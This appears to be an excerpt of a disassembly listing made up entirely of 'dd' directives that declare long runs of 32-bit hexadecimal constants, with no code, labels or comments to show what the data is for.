		dd 5BCD06F5h, 16BE8CE5h, 850C9044h, 0FF4F57CBh,	4E1F066Fh
		dd 806F412Dh, 2EDC922Ah, 8B50C405h, 0E280D8B1h,	69080EBBh
		dd 31610F65h, 0A8B0BF12h, 71077BC9h, 2EDDC41Ah,	0AC7A22A1h
		dd 603EFD06h, 2CF14FA6h, 79365402h, 5E8AFB8Bh, 95CA221Ch
		dd 0E4BFCB91h, 4F4A7EF7h, 342BDDE1h, 4AAFFCDBh,	9877B7CDh
		dd 172C2110h, 5C8D1FFh,	0A3F100BCh, 87D56564h, 0F84B8AEDh
		dd 93B29312h, 2415488h,	0E42C03B7h, 0A50DA18h, 0D35FE3BFh
		dd 1CAD8DF9h, 0CC011ED0h, 0AEA485B9h, 0C96B633Bh, 0C3FAD812h
		dd 308B7300h, 2D774FC9h, 0C573B5F0h, 4206D88h, 0AE37E95Bh
		dd 8257003Ch, 126A375Fh, 0D17F3003h, 0A226B0DCh, 6500E574h
		dd 0BD4EBBACh, 4B3472B9h, 39089DDDh, 2B0A805h, 0EFFFB531h
		dd 95798BCFh, 0CDBE9017h, 934AE497h, 5CCD6D00h,	0EABC68A2h
		dd 1D3D083Ch, 5104C628h, 10BBE1B3h, 8048DAB8h, 0FF017113h
		dd 0DB3B457Dh, 4AC182E9h, 28D9F50Dh, 68FC2317h,	0B469F84Fh
		dd 29A86CFDh, 4113F407h, 8D27FEECh, 67B86A44h, 6C7BEF5Fh
		dd 0EDAF321Ch, 10E71C5Dh, 8B15859Dh, 0C9760F53h, 165D7129h
		dd 0BD73EA60h, 610BCCA5h, 0F1885154h, 52E8C427h, 34895AB1h
		dd 4CD71F81h, 0E5BD13B3h, 60D12230h, 0B5127D4Eh, 5AE31C59h
		dd 0B5DFCF50h, 6A9D2F49h, 0BD0833B9h, 68251E49h, 840D3554h
		dd 7D6942B0h, 0A7A980A3h, 0A196E97Fh, 0C33F8535h, 0FAB249E2h
		dd 797DA062h, 0D84D00D3h, 585901Ah, 1C4BB701h, 1F288C78h
		dd 77804B6Ch, 143C73C6h, 42CAEF37h, 98576908h, 1354C35h
		dd 583351DAh, 0C59509A1h, 71E27F2Ch, 0D89AAD2h,	0D4FD0C95h
		dd 0F839E913h, 250CA6B2h, 0B25B1719h, 5B8C64A5h, 1210B31Eh
		dd 8EE68036h, 140BE84Ah, 42A03117h, 5B8A2589h, 0DA2F889Ah
		dd 4F09A748h, 49240E83h, 80247326h, 2FEF8057h, 9F38B95Bh
		dd 0D9A65B0Fh, 2A359CF0h, 5382F500h, 967DDCCCh,	5CC790F8h
		dd 259E79BDh, 5B6D2EC2h, 50844BE0h, 0B91B2CE7h,	33722555h
		dd 35BBFC00h, 2B51399Fh, 9D290BC0h, 0E7D5345Dh,	0D819C51Bh
		dd 402528F7h, 2721F402h, 4015D61h, 1BF9A505h, 9D7588B4h
		dd 0BBD87A74h, 0FA6F13FFh, 17F044Eh, 0B80CB935h, 0D008C1Dh
		dd 522869C6h, 1918DFBh,	0F781D9A5h, 3E215CBCh, 3D50EFA6h
		dd 0A8084AB5h, 0DC8FA33Bh, 0DB815640h, 6E129575h, 23E25F2Eh
		dd 0DBC6D4B4h, 0AB69C132h, 0B471C1F3h, 35FD282Ah, 8FC6558Ah
		dd 3D852909h, 12E75B05h, 63CDEBF8h, 0C417E87Ah,	810017B1h
		dd 0C52DC4EFh, 0E1FF3612h, 2562E6ABh, 8BF65F9h,	867C050Ch
		dd 0C9831F70h, 942DD8A8h, 58B83ADBh, 94956EF2h,	0BFF244BFh
		dd 7B30BA08h, 4AA580Eh,	7DDACE93h, 0B9E76A80h, 0D8712BDEh
		dd 6FC73F4Fh, 29562F08h, 0B8BE3960h, 92D33DA9h,	2CB68002h
		dd 0FF606053h, 665EC3B7h, 208D28A4h, 2BEF16E9h,	2DBFC400h
		dd 951B3881h, 226DC389h, 0F5D47BC1h, 0A547B87Eh, 25416AABh
		dd 0FB6D570Fh, 27955627h, 0FCC907F6h, 0F74A40FBh, 0DE096A8Fh
		dd 6BA4F56h, 4CF3C1FDh,	0AF5BBC5Fh, 605A1D6Ah, 0DCF3D8FAh
		dd 0C1D2DA29h, 9BC5D80h, 46CB2A9h, 0E04DC077h, 0A50F8BFh
		dd 1690FBA4h, 0B54E4384h, 5042DCFEh, 285152h, 0FA8CA1Ch
		dd 387E3FC4h, 0AE5B6B8Fh, 0C014E6Fh, 0E738CECFh, 4DF56EB3h
		dd 0EFC0251Ah, 27A8528Fh, 0F3BBED00h, 2B1AFD15h, 44D2B59Dh
		dd 0F1BE6805h, 0A4BB0BD9h, 0F23C4158h, 0CC4DEC6h, 839E2AFBh
		dd 80AE9BC8h, 730A68E0h, 900C90C6h, 7E52520h, 5BA708C5h
		dd 38C85030h, 0AB09517Eh, 86839B0Bh, 1CB7ADCAh,	2D0231E9h
		dd 0E678F453h, 4EFE728Ch, 82EBA9F9h, 7C105195h,	315849EFh
		dd 0F405FC97h, 6494DB2Ch, 2105BD04h, 9320A2BBh,	908047DAh
		dd 0FF2348ABh, 0CE9C0D24h, 249D850Bh, 0A6BB5F57h, 15091024h
		dd 0E7FA8469h, 0D42B74B5h, 0C2471759h, 0CA712079h, 93645B69h
		dd 0EDC7EB91h, 7D672BAh
		dd 5BA0A118h, 0BF865F9h, 6E775DFEh, 5B89FE26h, 0DE6EAA46h
		dd 0F3016B00h, 17A159B7h, 0FC2D8218h, 8225696Ah, 1D518BC0h
		dd 2D8844B7h, 488B14A2h, 62701C53h, 457002C6h, 313EE4DCh
		dd 7621E457h, 0A53ABC01h, 15644D6Dh, 6EE00372h,	750FD2E8h
		dd 9FEA682Ch, 0A7A19F96h, 1511012Fh, 2660DDB2h,	9CEAF5D0h
		dd 0BD2F23DBh, 7B38D709h, 55299589h, 0BB04A308h, 0E7EF7D87h
		dd 3778A0C4h, 7D250077h, 0FF8C3DA5h, 739DF53Ch,	181B5957h
		dd 9E77172Ah, 7F85BA22h, 9F61D2B0h, 0B312D937h,	0DAD761E3h
		dd 8BB28FCAh, 0EBCFF86h, 4F8B59Dh, 8C32E962h, 2D5AF9DBh
		dd 640998h, 1720AF19h, 0D6C09A3Bh, 6C059812h, 50AE63E3h
		dd 0FA4E8A75h, 3EB2B212h, 0A797DD8Eh, 0BEC3A429h, 0BFC1ECEBh
		dd 0CE6A01EDh, 56AB34DDh, 0D6A6DBABh, 0AF9635ABh, 0C106DA1Ah
		dd 14E5BDBFh, 81CFDF79h, 45C4A9CEh, 7198EA6Ch, 1AE823BFh
		dd 72495316h, 0AFF05B5Bh, 0B5425D4Dh, 40FCD68Fh, 10042D63h
		dd 880F1C00h, 0BB59816Fh, 5BF300E5h, 4328B0C2h,	9650D768h
		dd 79E950CCh, 0BE21B83Bh, 861E27Dh, 0AFE94555h,	6B005D35h
		dd 0EF89B81Eh, 92280CA9h, 0A56281C2h, 3CA92C52h, 0EF4EC659h
		dd 74816F24h, 172B2C80h, 0AA7BEFE3h, 1154F027h,	4BB5846Ch
		dd 600B9C08h, 208D8AC6h, 0CB81049Fh, 0BB613157h, 391716A6h
		dd 6F6AFE35h, 4A1A29h, 2AF00357h, 0CFB29DE2h, 640E0125h
		dd 25069898h, 8A541859h, 0AFF837E9h, 579F0B55h,	0F4E0B100h
		dd 0B51201D8h, 0C3E202C1h, 98A8C4Ah, 0ABBFF1FEh, 0DE8DF639h
		dd 7E926C02h, 4C94D664h, 85312535h, 0FFADB674h,	0B12D4D35h
		dd 509AE655h, 0A602AFA1h, 960420F9h, 0CF800AB8h, 0A7A07D2Eh
		dd 0B64F020Fh, 6880FDA1h, 0D582AF4Bh, 60502FBEh, 0BF804DF9h
		dd 72FB1A02h, 3C965961h, 0AA270CBCh, 516B45B5h,	1DD888DEh
		dd 0D7800B29h, 0C007B27Fh, 0B514A112h, 241C0B67h, 0D046D325h
		dd 505D98AAh, 70BE4EDBh, 0A18D0169h, 2EA92B4Ah,	6213F8CAh
		dd 3A50EDBDh, 0D4DB56BDh, 550003BBh, 0D56CD88Fh, 5C2F6278h
		dd 8A022C41h, 518C56FCh, 0D4FE145Ah, 4F83A8F7h,	0A1E843A9h
		dd 47A7CB03h, 0F1651C46h, 0DE2A8880h, 747BC056h, 0C60B83Ah
		dd 21D59D29h, 614BD0CDh, 24D37AAFh, 0DCCF2215h,	1CB76080h
		dd 9C58A56h, 0D4E9615Fh, 2916B158h, 0D8BE8D95h,	0AF097516h
		dd 0F63A870Ch, 1C458964h, 436B3055h, 2016009Eh,	86A4974h
		dd 4C4E7151h, 200AAB2h,	5DB7071Dh, 27076783h, 0E72C2AB2h
		dd 0B8A8BD90h, 5AFA01E3h, 74C281F9h, 50349665h,	580A53F8h
		dd 88BC933h, 8B051679h,	968C0A3Ch, 0E06E0060h, 0F4819096h
		dd 1A00D20Bh, 6577F722h, 1F88BB06h, 0FD7E8F4Bh,	35485F0Eh
		dd 61953142h, 0C7E0114Bh, 41EE1EE8h, 35510D92h,	0CD3E80Ch
		dd 0B5896504h, 0B41D0E59h, 0D9850680h, 6FFF1323h, 0A2602CB5h
		dd 2496F01h, 14C9BD83h,	50F94F0Ah, 3224B59Bh, 29131611h
		dd 0E9F0D18Dh, 35178E1Fh, 0D8D5204Ch, 153B9D2h,	8B04E6ADh
		dd 0B97CE9C7h, 0F15B0044h, 0E39F1C80h, 4F540093h, 438F46C8h
		dd 0FB00D3DCh, 0E5DAA88h, 0BE1812h, 45A911E1h, 2FE6FAC4h
		dd 8CEE6F3Bh, 8D6675Ah,	2721C0DCh, 869AE6E3h, 26A2C900h
		dd 55E258D5h, 207903BDh, 0AF3E9FD3h, 1135923h, 6F24E6FFh
		dd 88D91886h, 0E600F822h, 180771ABh, 190DDAAh, 4F639DE9h
		dd 0DFEC4078h, 8BE446E8h, 8C2BA908h, 31003C15h,	0AB1A990Bh
		dd 0E0197A35h, 3D086592h, 13D72180h, 0B1427699h, 1638800h
		dd 0B37BA34h, 1150C75Bh, 1F16E07Dh, 0C300381Eh,	0B47F639Bh
		dd 27B9A6Bh, 719097ADh,	112029FEh, 3014463Fh, 4911A60Ah
		dd 0FA03A12Eh, 15C01A20h, 53093028h, 0A1166961h, 0D532E31Dh
		dd 980A786h, 8BAA0A50h,	7C98CF0Bh, 0FA24DF46h, 4CFD00B3h
		dd 3CB2AC84h, 0AE546700h, 0D0A7E5FFh, 0B068D96Dh, 8231813h
		dd 3220FFA1h, 64404DC4h, 2C34A12Bh, 438B5200h, 97AA0850h
		dd 4B8210A0h, 0EB869E29h, 1021DFh, 4ABE5269h, 81AC32B4h
		dd 9E13CF00h, 4F3801D6h, 93AF1DC9h, 0F59D41DDh,	0CD2DA173h
		dd 1BC2F053h, 8D182261h, 1500BCABh, 7940FEC1h, 0DC5F0116h
		dd 3F4D344h, 1020B0ABh,	0F8B2082Ah, 0D9202240h,	0D4E6FC00h
		dd 77D05359h, 805B3374h, 2100C508h, 33D4FE96h, 3D6F73h
		dd 2B511F81h, 0E8B7D53Eh, 11DDDA1Dh, 1B780AD8h,	471C00E3h
		dd 5AC59186h, 7F188F10h, 0EA302AE1h, 303B7F2Bh,	0CB101BBDh
		dd 28002EEBh, 3AEFFA96h, 0F8606B11h, 32475E0h, 0B71DC2D4h
		dd 5AE08B9Bh, 2600AAFCh, 59746A11h, 9A43A3h, 94BBFE9Dh
		dd 8B5A2CFDh, 0B6CA000h, 34735565h, 91F60049h, 6109A92Ah
		dd 5D3B1671h, 0A2BB80EBh, 0D378783h, 79A0707Ch,	446F079Fh
		dd 0D0BA51C2h, 9B3BF062h, 0A3AA3604h, 0C1EE7C60h, 2A820246h
		dd 3AA7D10h, 0C54FA50Ch, 9B35882Bh, 0FA2800F2h,	0A67CC373h
		dd 9500FD90h, 5707A142h, 7C080EF7h, 8A9B3084h, 43C10F29h
		dd 0D68F2609h, 70B60311h, 0A508C110h, 1D99EA30h, 0B077D323h
		dd 4BD45F30h, 414039h, 26D2CC45h, 78AE807Eh, 892B2C0Ch
		dd 83FA316Dh, 0ABAC2086h, 682F6Fh, 24B21EC8h, 4F6E06A1h
		dd 876A98Fh, 0ED213660h, 0F2B206h, 38057AD6h, 5A76AEA6h
		dd 0F8CD6F0Dh, 0BDE4B18Dh, 98786063h, 0C7B8F0F5h, 0A16EFF31h
		dd 5D02973h, 118E619Bh,	87898BE3h, 6F1694D0h, 0A315EC03h
		dd 0CA2100E7h, 70589F3h, 8D00DAF0h, 80D26070h, 603BBDD0h
		dd 0C0FD684Eh, 0BF83CDFCh, 1876B2B3h, 49889B71h, 0C40FB917h
		dd 80909374h, 1BF00D39h, 0B17C1486h, 82008CC5h,	0E145B27Bh
		dd 0BDEE736Fh, 6063C330h, 96B341h, 0B57D131Ch, 0A7E6B262h
		dd 0BF9A0801h, 0E85244A9h, 7A14D0h, 81EBC1C5h, 0B670D51Eh
		dd 0F9096666h, 0D8A50321h, 5E5890EBh, 0F42723F8h, 243A9329h
		dd 0E118F171h, 0AA2B1D00h, 0D716BA0Ch, 6A68007Bh, 900FAFD9h
		dd 9E73E714h, 0EDC2E91Eh, 997A1781h, 60CC448Eh,	48EC3F69h
		dd 6A335060h, 707A745Eh, 96891A00h, 7D17AD07h, 4CCC0338h
		dd 0C0E52C9h, 0A0A92002h, 9EC4B545h, 34592320h,	0BE7A3302h
		dd 143F0075h, 94603D87h, 4989E5C8h, 1EB20109h, 16E996B8h
		dd 83089850h, 41D221h, 0A5044309h, 770A52C1h, 0D41C48C0h
		dd 3AC7E5EFh, 8860493Ch, 4254AF5Ah, 0F5B93307h,	0F4B7FB10h
		dd 215E46h, 0CF54B788h,	0CD5FC43Fh, 29191100h, 4161D46Dh
		dd 294D603Ch, 4EACFA49h, 0A189503h, 0E8DDAF0Fh,	7BCEEEh
		dd 96C79DCCh, 7DB5228Bh, 361F950Eh, 60B098EBh, 0A0D5281Ah
		dd 3FAB0CC0h, 0E528810Eh, 0AA609879h, 5E5C4D61h, 0F861543Dh
		dd 0A4C2F8E0h, 54B23B64h, 88813391h, 0BAF78350h, 0D8D8E154h
		dd 0F60F941Eh, 8A891CB1h, 3C01F4FDh, 4814F0E5h,	8C462C20h
		dd 9B12A890h, 2C62251Eh, 0C3AB20FCh, 321DD4EBh,	4F000155h
		dd 6ACF8021h, 7EE92A2Bh, 29946E0h, 1EB00943h, 118D3148h
		dd 0AD305BD4h, 22ED0081h, 0A90B5D3Dh, 0C400A8FDh, 0D4120FC0h
		dd 0D9BE694Ch, 18846031h, 0B309084Eh, 85C4A01Eh, 946D341h
		dd 0E96CF126h, 4D23D08Bh, 28C46A2Ah, 42029846h,	401EAF09h
		dd 0D7108F31h, 0F207095Ah, 6094B5F6h, 66D45D50h, 48101421h
		dd 0D529E4E7h, 7140A9DCh, 0A81850h, 0A466EEEh, 0C5295ABEh
		dd 6CB87A60h, 149885DEh, 30E5E991h, 0AD09D923h,	58A80D54h
		dd 20463012h, 2D54B5BAh
		dd 978DFA12h, 0EA6A6806h, 0EF330ED9h, 9585DB89h, 0F37183E2h
		dd 4FA2022h, 0AAC70BC4h, 0B458809Ah, 484020BEh,	0BC7A0DB2h
		dd 0E0282BB1h, 282C9D74h, 0C90EACC8h, 8F62C95h,	5721C006h
		dd 0B1802885h, 41605400h, 96E679E9h, 0E32B0156h, 0A3F9DC7h
		dd 1A69809Bh, 0AA52FC91h, 0C4F0C817h, 4354B0C0h, 0A8B15333h
		dd 54B88980h, 0BB3E07B2h, 0EF8686C5h, 8905BEh, 1025EB09h
		dd 1259A6FEh, 1482A500h, 0D56E3B31h, 7BFD04C9h,	0C77FF252h
		dd 0F308A328h, 0A2F9AF8h, 0E53BC8A1h, 10502273h, 0E39F2A82h
		dd 0AE094D01h, 8218581Eh, 145D688h, 9D7CEA09h, 8C972E37h
		dd 21983EF8h, 82D600AAh, 0B27FB0A7h, 0DC007791h, 0EA46CE08h
		dd 1E166FBh, 97E7BFB6h,	24AE371Fh, 92603DD4h, 55D55141h
		dd 4C3A4C22h, 0B450FE22h, 2E2A78F4h, 69F0F832h,	608F9D24h
		dd 9FE7B509h, 8247113Ch, 443E1305h, 0F2F000C0h,	0F4D694DCh
		dd 0FAF67731h, 43CE2C00h, 17584C6h, 0FCCB30BFh,	0C971A290h
		dd 0BF63C8C8h, 50454D74h, 82EBCE80h, 448CDD1Eh,	0C538A6F0h
		dd 0D3601EBh, 5FAEBC7Dh, 76F492E1h, 29E4A017h, 3D4824ACh
		dd 33C438A4h, 504A722Ch, 0ECA080A9h, 14DE6A11h,	0BF0A73ECh
		dd 0A8E69D3Dh, 0B460C044h, 332C4F54h, 0D0734891h, 1154BCh
		dd 616C1EFEh, 320B847Dh, 8C3FFA09h, 0AE9C21EEh,	94262FC1h
		dd 7B54D400h, 98357D12h, 6A62EF0Bh, 27440569h, 1AE89441h
		dd 4460426Dh, 88A25494h, 10408AF7h, 0EC81BB92h,	8C85804Ch
		dd 0B4094F04h, 8A62A81Eh, 947D020h, 2384004Bh, 0C2B42D6Eh
		dd 31068F7Ch, 0C4ECE294h, 66374490h, 0FFB25600h, 0CF7D2DAFh
		dd 549148C6h, 0CD107C49h, 0A42EA4EAh, 9F034523h, 12F2C260h
		dd 831EB80h, 68B1CF34h,	48D280DBh, 50A8E000h, 87FE8071h
		dd 46082E4h, 3876454Eh,	383DCF24h, 4360D440h, 117961EFh
		dd 899A664Dh, 0AE1CBE39h, 0EC1BA350h, 0F846055Ch, 3FF43DFCh
		dd 432380h, 6CE7D188h, 3E330960h, 0F83C7184h, 1FE039ABh
		dd 4790A6FBh, 0CECC3493h, 0B11A4140h, 1F7E858Ch, 97AEC22h
		dd 7DE272C1h, 3DD99801h, 3E1982B4h, 40176392h, 4101EF5h
		dd 8502E696h, 99348046h, 2FFA203Fh, 1A62B509h, 9C2E0FBEh
		dd 33BAA8C0h, 306A49A7h, 0FC580896h, 3E003ADFh,	35B56597h
		dd 775AB51h, 64A1DEE9h,	0EE221162h, 60CF0014h, 58C0803Bh
		dd 0EA53AB02h, 0E082F0A4h, 829351B8h, 18BB5461h, 0CB28249Ch
		dd 0C45426CFh, 84564003h, 6F128h, 0E3E197B0h, 221C720Fh
		dd 94254126h, 0C0E89C14h, 8B2799AEh, 905C90D8h,	247465Ch
		dd 1E9CEBC8h, 10ED312Dh, 0EBC0ACh, 0E4116F78h, 0D51A1E1Bh
		dd 0ECB8AE62h, 0C6FC9948h, 5405AE18h, 0F4A1334Dh, 0BB00808Bh
		dd 0CA3E54B6h, 0F00F29Eh, 36A8BA97h, 567B599h, 0E9AE9D48h
		dd 7B10C83Ch, 2ABA2403h, 99B4200Fh, 0EEE41D19h,	30F07A27h
		dd 41BA7274h, 9349604Dh, 911E0020h, 17AFC3DBh, 0A169F890h
		dd 8318B6B4h, 9DCE280Bh, 89C8Eh, 0D3288B55h, 50542675h
		dd 0F0DCC501h, 0FF0EE914h, 9A7A5880h, 6E3FAB9Eh, 25809894h
		dd 1CB88A0Dh, 0E82125D4h, 121EB003h, 990047AAh,	3FB760DFh
		dd 4401B528h, 6A688242h, 0E87C358Dh, 0D914FCE6h, 0E020225Bh
		dd 862B48C1h, 0B7FAC0B0h, 51FCC08Ah, 3D57151Eh,	6900889Ch
		dd 77B2168Ah, 0C403938Fh, 3EE15C94h, 0C121059Eh, 0C035CFFCh
		dd 0B9956032h, 0B69B4301h, 0E56B811Ch, 119DF089h, 18C36069h
		dd 4E540BB3h, 0C01C9933h, 5407BBECh, 6E8BB3D7h,	6F401917h
		dd 4C864C22h, 5B802CB1h, 7045A85Dh, 0F618C103h,	0D8BA3CB6h
		dd 706A7B4Fh, 0CC090CAh, 0B293D716h, 0BC7F50E9h, 80FD2210h
		dd 1F1C1A0Fh, 84A0538Fh, 13316FBh, 0A0E9AA26h, 71131107h
		dd 1FC6E04Fh, 8BA215h, 16FACF1Ch, 0BCA6FCC5h, 0DD00FBFAh
		dd 31B69064h, 2AA4C4Ah,	89E6E96Dh, 8481C8B7h, 54963DFBh
		dd 4C00C29Ch, 0ED33FA21h, 92105BF9h, 8D0036BFh,	41670FBEh
		dd 0A84253h, 3B997D2Fh,	0B20CF0F8h, 14D3B700h, 2932FEE4h
		dd 0DA3100C3h, 843F4494h, 4100FB6Bh, 0B327B285h, 2CB48Dh
		dd 0D5C6B1ADh, 0F008C1BAh, 4CD07333h, 0CB19C116h, 0F790FD0h
		dd 0F71B10D7h, 0D925BE20h, 560C9D8Dh, 18704A89h, 74AA076Fh
		dd 0C310A293h, 68C26B28h, 0B2FD407Dh, 67EA3081h, 4C19F028h
		dd 71619D60h, 790E177h,	4446FD7Fh, 56A1B179h, 7C29C0F7h
		dd 34FA7D03h, 3B0D4DCEh, 2B32F830h, 93106628h, 23961F4Ch
		dd 0A4A88129h, 81E0189Ah, 0F538CA78h, 0D1A128AAh, 0C33E8C1Ch
		dd 0A8008119h, 0C8A9AA6Eh, 0C8B110A5h, 5640E798h, 0C312B769h
		dd 0C4D509C0h, 0A25C2142h, 250720D6h, 0C00A565h, 228BBF4Ch
		dd 6038C21Eh, 56F0214Bh, 0E578788Eh, 0A779C60Fh, 0F97F2228h
		dd 60E0F7DFh, 0B1C32B3Fh, 806E26C2h, 1CE04E41h,	3AB21125h
		dd 10A37306h, 3F31511Fh, 531E3132h, 0F8579DD8h,	1D9100F5h
		dd 0BA28A57Fh, 4900A8F3h, 0D6E1B08Eh, 0CFB279C5h, 0F6006179h
		dd 184F055Eh, 0A0F43628h, 0A138122h, 0C53C926Fh, 9A90198h
		dd 304970F9h, 6703D622h, 3111E3F6h, 0CCD0E830h,	60BFB0ADh
		dd 89447903h, 24A1A78Ah, 2F2A111Dh, 58CCDA60h, 0C07BD68Bh
		dd 1917D7C1h, 8900549Dh, 4C7DFF04h, 1EED53Ch, 58495B8Bh
		dd 401FB779h, 0F2D173D0h, 4A38D460h, 0C2054769h, 0FB36C818h
		dd 0D18CAFh, 2E43508Dh,	7D17468h, 5DA4D57h, 0CD15305Ah
		dd 0BB79F61Ch, 0D994F400h, 695861A5h, 50766017h, 5DB49F3Bh
		dd 75F48F50h, 73A3B30Eh, 0B21902E4h, 0EF7048F4h, 0C82B546Ch
		dd 0CD5C187Fh, 6EA33188h, 8B290B18h, 8BF54548h,	0D873ABE0h
		dd 9619E607h, 5F476B7Dh, 0C0390960h, 5E2800B0h,	9C572E41h
		dd 0ACA1F56Ah, 78D18CE2h, 7607911h, 35AC9E62h, 0FFFE7085h
		dd 941F456Bh, 440461C7h, 5091F875h, 0F8422B40h,	0B24EE0A9h
		dd 4A70005Ah, 67290CECh, 11741BA2h, 0AAE1CA00h,	51D3AF71h
		dd 0FC960C32h, 121C7F66h, 1E4B7226h, 33007B1Dh,	0A249E950h
		dd 9F36038Ch, 0EFFDE4FFh, 21450830h, 0A2413Fh, 0E83C8B6Eh
		dd 182B3025h, 5A29DF00h, 75205DBDh, 7CC806D0h, 59B91F3Ch
		dd 0AFDED100h, 0B8466BC0h, 0D6FF030Ch, 69DF9E65h, 90138BA3h
		dd 0B619E64Bh, 20E17369h, 8464C48h, 0F73693A2h,	7E3E70h
		dd 0F13B4DA2h, 0AEDB6410h, 0C1E25200h, 86092276h, 3628C02Eh
		dd 0C343540Ah, 69D7A2A0h, 80C75130h, 0F22349h, 0E3AED364h
		dd 500D4F7Ch, 0E5930F1Dh, 9D4BBA3Fh, 1840889Ah,	0B02F9CEEh
		dd 609D749Eh, 82D1218Eh, 1B01DE88h, 143062DBh, 0E88CE897h
		dd 7AB87E6Bh, 4E44B8A7h, 0B1447360h, 803BE639h,	2C6DB011h
		dd 6009CE97h, 52AF297Dh, 0C67F48E1h, 0A0BCF328h, 4C02CE46h
		dd 0E73685A2h, 3C40DC33h, 1305A244h, 626AC300h,	0F26F60FEh
		dd 31151DFBh, 8867D4D7h, 86000B23h, 8E184588h, 13ED869Dh
		dd 0CB88E025h, 0DF0C0014h, 5E2B5F76h, 5376C4ACh, 0A2E8AE09h
		dd 69140224h, 49F60048h, 596FBB42h, 0AB00040h, 6E9D470h
		dd 0D19F4F94h, 5460083Ch, 70722521h, 32430A16h,	5E4ED0Ah
		dd 3A69F0B0h, 7702380h,	0F05C87CEh, 6C02131Ch, 3814BA48h
		dd 3C169EB3h, 544921CAh, 6807E11h, 74E9C870h, 9158448Ch
		dd 11700E00h, 0DEA06E3Eh, 26C919E9h, 0F4B8B0C5h, 8DEEFE50h
		dd 0F9C1451Eh, 3D395158h, 0F6A30090h, 34D11577h, 706FE88h
		dd 358128E2h, 0BD4905B8h
		dd 0C0516224h, 9E7541Ch, 9308CA18h, 7FAED9D9h, 858B0EAFh
		dd 12C363C0h, 19C9E991h, 0DC7C2593h, 320FBDDFh,	0B2EDD5EAh
		dd 26FEE400h, 9089163h,	0E465E6B8h, 1823CC19h, 92A20843h
		dd 62C4EF36h, 0A25B0940h, 0D3004A27h, 0CDEA058Bh, 6E5ED764h
		dd 0EEE069FCh, 6B3B4452h, 0E92EA8A4h, 0A032F431h, 20E0E06Ch
		dd 0D8D048C5h, 0F21D10h, 0AA2B74BAh, 0FDD9E6Ch,	7B2CEFF9h
		dd 0DF2EA381h, 65F2CCCAh, 0B8BF1700h, 0F07C405Dh, 0DE7A1C09h
		dd 0B0E0079Eh, 0E276105Eh, 5118D7A1h, 0BA40356Dh, 928B3064h
		dd 0B0F4B758h, 385FB801h, 722A6ACFh, 44F22C22h,	525730h
		dd 0A72EF217h, 0B704BCAFh, 949291E6h, 0F1CDC01Dh, 708FA0A6h
		dd 38475BBh, 627A52D1h,	37D7AFCDh, 60C0DFD5h, 173D442h
		dd 0DA68ECF1h, 0A861DDE6h, 0B913AC71h, 0B50C8764h, 3876495Bh
		dd 0F0D084h, 0ABEFC4B5h, 75B685C1h, 0FB1A7E3Ah,	0A56EFE0Ch
		dd 1B0308Bh, 7419AE04h,	0EF270183h, 1438A804h, 68C07A13h
		dd 24AAA086h, 2905768h,	3881BBB6h, 4A9C4848h, 7E15E00h
		dd 0DDA43921h, 5F37277Fh, 3100775Ch, 0A28683AEh, 44DF4882h
		dd 60C65910h, 9CE59518h, 27D0008Eh, 0BA2AB064h,	69480CA6h
		dd 0C46161C0h, 21DC7E3Ah, 2A80FB8h, 0EA609472h,	18667013h
		dd 0DF6C561Eh, 7DEBA830h, 0B961F130h, 153834h, 0FB066E2Fh
		dd 0E26B3395h, 58368030h, 62D314B8h, 4D09289Ah,	2E12A8A0h
		dd 0A30076CCh, 1635E493h, 765B6B2h, 0C6545C27h,	0A9400E91h
		dd 94CD71DDh, 6E3BF900h, 0B0C98118h, 78573EEFh,	3E43D42Ch
		dd 86856B00h, 0DD10BA1h, 20FD681Dh, 31F5017Fh, 0C0F4435Dh
		dd 606CCE4h, 0D4EC33CAh, 0F56938A3h, 83A10E18h,	3F84E0Ah
		dd 377A9511h, 1CD104CBh, 985EE572h, 0B7218F08h,	4C370EB2h
		dd 56C0921Bh, 0FBD6FA9Bh, 7B3FED00h, 512EF5ACh,	72A8C747h
		dd 211E909Dh, 8E1BFC6Eh, 0C187FC5h, 0F7C85AA0h,	4012C0A8h
		dd 1E003EDDh, 0A01C9F2Ah, 4808CC31h, 500B921h, 0CF49F83Eh
		dd 30C35894h, 0C5918141h, 0CDF2AAF7h, 1C167C00h, 8E9550B8h
		dd 9B470054h, 3B3278B5h, 306094FCh, 4FF218F8h, 4DB800A5h
		dd 0B09E5C5Fh, 900BB9Ah, 480655AFh, 26885A99h, 0A71686h
		dd 0D3D9B99Eh, 5001E77Dh, 446AB053h, 0EBD4CA92h, 28A500DAh
		dd 0D5B18DCFh, 0F8007A8Ah, 4A8C6EA7h, 86374Fh, 0E29D1B7Ch
		dd 0AAC0975Bh, 22702F00h, 0F855397Bh, 8FB000A3h, 42036314h
		dd 1F00A4B9h, 77731E8Bh, 0EC57D7h, 9690F266h, 40C67554h
		dd 0AFD28300h, 393336EEh, 0ECEB07FBh, 0AF45023Ch, 1F6A2683h
		dd 0ACE08BC3h, 0B8F8D360h, 6972B71Ch, 16CC007Eh, 4F361E33h
		dd 381E8C1h, 412937A8h,	0DED06960h, 0CD00AC4Bh,	0A6ED3EA9h
		dd 18AA030Eh, 407926B7h, 38CBBE98h, 1DB9038Ch, 0A68BC081h
		dd 32661E2Fh, 287B58A7h, 2A18B9B2h, 0E1319B96h,	17FEE2Bh
		dd 3A342C16h, 0D0370401h, 20C1B9B7h, 9C960EAAh,	33B5ED4h
		dd 20BD62B5h, 0EAA0E468h, 4303B403h, 1819F78h, 0C179390Bh
		dd 0BCF2F600h, 555DA5B3h, 8AD9E33h, 0DD790083h,	3C0E8468h
		dd 7200A497h, 0C038EAD3h, 573A61h, 0D9E46F11h, 0E8D8950Fh
		dd 26B4EB00h, 3C749782h, 6DE00A3h, 0BDF227Ah, 5A38A4E5h
		dd 9DF1B996h, 63C043BDh, 9D93B11Eh, 0B7DB007Ch,	0FF1D2907h
		dd 0D007502h, 5A3B2E7Ah, 0E9AE23h, 0FD4B82BDh, 2668C8B1h
		dd 0E03D8B00h, 18A8B914h, 0C3E50008h, 197EED94h, 9B72CB61h
		dd 3A5B9500h, 4401B554h, 3EC500E7h, 0E581B3B1h,	0D698531Ah
		dd 0DF94F800h, 17830996h, 0DA600DEh, 29729316h,	3E0FD2FCh
		dd 92F80A8h, 86850F9Ah,	201726h, 0ABD163E8h, 0BAEBB8E7h
		dd 7F39CC1Eh, 6059180Fh, 19160972h, 814D038Ah, 0AEE99DF4h
		dd 0A87A7202h, 609CC470h, 61174C2h, 773F93D8h, 90E58F3h
		dd 0E0B220F6h, 0D1227AEh, 84F6601h, 0C10021BBh,	0E644B528h
		dd 778D67BAh, 0AA9400FDh, 1312631Bh, 0C01FCE17h, 764687BCh
